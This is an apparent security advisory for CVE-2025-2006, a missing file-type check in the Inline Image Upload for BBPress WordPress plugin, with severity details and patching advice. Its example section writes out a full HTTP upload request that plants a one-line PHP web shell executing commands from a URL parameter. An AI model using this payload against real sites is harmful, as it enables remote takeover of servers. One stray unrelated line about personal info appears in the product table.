Overview
The CVE-2025-2006 vulnerability, disclosed recently, poses a serious threat to websites running the Inline Image Upload for BBPress plugin for WordPress. This vulnerability, due to missing file type validation, allows attackers to upload arbitrary files, potentially leading to remote code execution. This vulnerability is significant as it affects all versions of the plugin up to and including 1.1.19 and can be exploited even by unauthenticated users when certain settings are enabled.
Vulnerability Summary
CVE ID: CVE-2025-2006
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Inline Image Upload for BBPress WordPress Plugin | Up to and including 1.1.19
How the Exploit Works
The Inline Image Upload for BBPress plugin is missing file type validation in its file uploading functionality. This means that an attacker with at least subscriber-level access can upload arbitrary files to the server hosting the website. If an attacker uploads a malicious file that can be executed on the server (like a PHP shell script), they can potentially execute arbitrary commands on the server, leading to complete system compromise.
Furthermore, this vulnerability can be exploited even by unauthenticated attackers when the “Allow guest users without accounts to create topics and replies” setting is enabled. This significantly broadens the potential attack surface.
Conceptual Example Code
Here is a conceptual example of how an HTTP POST request exploiting this vulnerability might look:
POST /wp-content/plugins/bbpress-upload/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is attempting to upload a malicious PHP file (`shell.php`) that, when accessed, will execute any command passed to it via the ‘cmd’ URL parameter.
Mitigation
Users are advised to update the Inline Image Upload for BBPress plugin to the latest version. If an update is not immediately possible, consider disabling the plugin or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.